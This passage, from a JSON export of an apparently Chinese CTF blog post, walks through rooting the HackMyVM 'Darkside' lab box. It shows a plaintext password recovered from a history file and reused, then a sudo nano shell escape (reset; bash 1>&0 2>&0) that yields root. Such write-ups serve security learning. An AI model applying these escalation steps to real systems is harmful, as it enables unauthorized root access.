\/etc\/cron*\ncat: \/etc\/cron.d: Is a directory\ncat: \/etc\/cron.daily: Is a directory\ncat: \/etc\/cron.hourly: Is a directory\ncat: \/etc\/cron.monthly: Is a directory\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don&#039;t have to run the `crontab&#039;\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# |  .------------- hour (0 - 23)\n# |  |  .---------- day of month (1 - 31)\n# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...\n# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# |  |  |  |  |\n# *  *  *  *  * user-name command to be executed\n17 *    * * *   root    cd \/ &amp;&amp; run-parts --report \/etc\/cron.hourly\n25 6    * * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ &amp;&amp; run-parts --report \/etc\/cron.daily )\n47 6    * * 7   root    test -x \/usr\/sbin\/anacron || ( cd \/ &amp;&amp; run-parts --report \/etc\/cron.weekly )\n52 6    1 * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ &amp;&amp; run-parts --report \/etc\/cron.monthly )\n#\ncat: \/etc\/cron.weekly: Is a directory\n(remote) kevin@darkside:\/home\/kevin$ ls\nuser.txt\n(remote) kevin@darkside:\/home\/kevin$ cat user.txt \nUnbelievableHumble\n(remote) kevin@darkside:\/home\/kevin$ ls -la\ntotal 32\ndrwxr-xr-x 3 kevin kevin 4096 Oct 30 08:41 .\ndrwxr-xr-x 4 root  root  4096 Oct 15 13:19 ..\nlrwxrwxrwx 1 kevin kevin    9 Oct 30 08:41 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 kevin kevin  220 Oct 15 12:54 .bash_logout\n-rw-r--r-- 1 kevin kevin 3526 Oct 15 12:54 .bashrc\n-rw-r--r-- 1 kevin kevin  113 Oct 15 13:37 .history\ndrwxr-xr-x 3 kevin kevin 4096 Oct 15 13:37 .local\n-rw-r--r-- 1 kevin kevin  807 Oct 15 12:54 .profile\n-rw-r--r-- 1 kevin kevin   19 Oct 15 13:38 user.txt\n(remote) kevin@darkside:\/home\/kevin$ cat .history \nls -al\nhostname -I\necho &quot;Congratulations on the OSCP Xerosec&quot;\ntop\nps -faux\nsu rijaba\nILoveJabita\nls \/home\/rijaba\n(remote) kevin@darkside:\/home\/kevin$ su rijaba\nPassword: \nrijaba@darkside:\/home\/kevin$ cd ..\/rijaba\/\nrijaba@darkside:~$ ls -la\ntotal 20\ndrwxr-xr-x 2 rijaba rijaba 4096 Oct 30 08:41 .\ndrwxr-xr-x 4 root   root   4096 Oct 15 13:19 ..\nlrwxrwxrwx 1 rijaba rijaba    9 Oct 30 08:41 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 rijaba rijaba  220 Oct 15 13:19 .bash_logout\n-rw-r--r-- 1 rijaba rijaba 3526 Oct 15 13:19 .bashrc\n-rw-r--r-- 1 rijaba rijaba  807 Oct 15 13:19 .profile\nrijaba@darkside:~$ sudo -l\nMatching Defaults entries for rijaba on darkside:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser rijaba may run the following commands on darkside:\n    (root) NOPASSWD: \/usr\/bin\/nano\nrijaba@darkside:~$ sudo \/usr\/bin\/nano<\/code><\/pre>\n<p>\u7136\u540e\u5c31\u662f\u719f\u6089\u7684nano\u63d0\u6743\uff1a<a href=\"https:\/\/gtfobins.github.io\/gtfobins\/nano\/\">https:\/\/gtfobins.github.io\/gtfobins\/nano\/<\/a><\/p>\n<pre><code class=\"language-bash\">sudo \/usr\/bin\/nan0\nctrl+r   ctrl+x\nreset; bash 1&gt;&amp;0 2&gt;&amp;0<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421500.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421500.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406141619831\" \/><\/div><\/p>\n<p>\u7136\u540e\u56de\u8f66\uff0c\u770b\u4e0d\u6e05\u7684\u8bdd<code>clear<\/code>\uff1a<\/p>\n<pre><code class=\"language-apl\">root@darkside:~# cat root.txt \n  \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2591\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2588\u2588\u2557\u2591\u2591\u2588\u2588\u2557\u2591\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\n  \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551\u2591\u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\n  \u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2550\u255d\u2591\u255a\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2588\u2588\u2551\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557\u2591\u2591\n  \u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2588\u2588\u2557\u2591\u2591\u255a\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d\u2591\u2591\n  \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2588\u2588\u2551\u2591\u2591\u2588\u2588\u2551\u2588\u2588\u2551\u2591\u255a\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\n  \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u2591\u255a\u2550\u255d\u2591\u2591\u255a\u2550\u255d\u255a\u2550\u255d\u2591\u2591\u255a\u2550\u255d\u255a\u2550\u255d\u2591\u2591\u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d\u2591\u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d\u2591\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\nyoucametothedarkside<\/code><\/pre>\n<pre><code class=\"language-bash\">root@darkside:~# history\n    1  whoami\n    2  clear\n    3  whoami;id\n    4  cd \/root\n    5  ls\n    6  cat vboxpostinstall.sh \n    7  clear\n    8  cat root.txt<\/code><\/pre>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/wcute.github.io\/2019\/03\/24\/hydra%EF%BC%88%E7%88%86%E7%A0%B4%E5%B7%A5%E5%85%B7%EF%BC%89%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B\/\">https:\/\/wcute.github.io\/2019\/03\/24\/hydra%EF%BC%88%E7%88%86%E7%A0%B4%E5%B7%A5%E5%85%B7%EF%BC%89%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B\/<\/a><\/p>\n<p><a href=\"https:\/\/tryhackmyoffsecbox.github.io\/Target-Machines-WriteUp\/docs\/HackMyVM\/Machines\/Darkside\/\">https:\/\/tryhackmyoffsecbox.github.io\/Target-Machines-WriteUp\/docs\/HackMyVM\/Machines\/Darkside\/<\/a><\/p>\n<p><a href=\"https:\/\/blog.51cto.com\/u_15274949\/4896287\">https:\/\/blog.51cto.com\/u_15274949\/4896287<\/a><\/p>\n<h2>\u989d\u5916\u6536\u83b7<\/h2>\n<p>\u58a8\u5e08\u5085blog\u53d1\u73b0\u4e86\u4e00\u79cd\u89e3\u5bc6\u65b9\u6cd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421501.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421501.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406135301759\" \/><\/div><\/p>\n<p>\u4f7f\u7528<code>cyberchef<\/code>\u8fdb\u884c\u81ea\u52a8\u8bc6\u522b\uff0c\u592a\u725b\u903c\u4e86\uff0c\u4e0d\u6127\u662f\u58a8\u5e08\u5085\uff0c\u5b66\u4e60\u4e00\u4e0b\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"<p>darkside \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf nmap -sCV -p 1-65535 172.20.10.3 POR [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-509","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/509","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=509"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/509\/revisions"}],"predecessor-version":[{"id":510,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/509\/revisions\/510"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=509"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=509"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=509"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}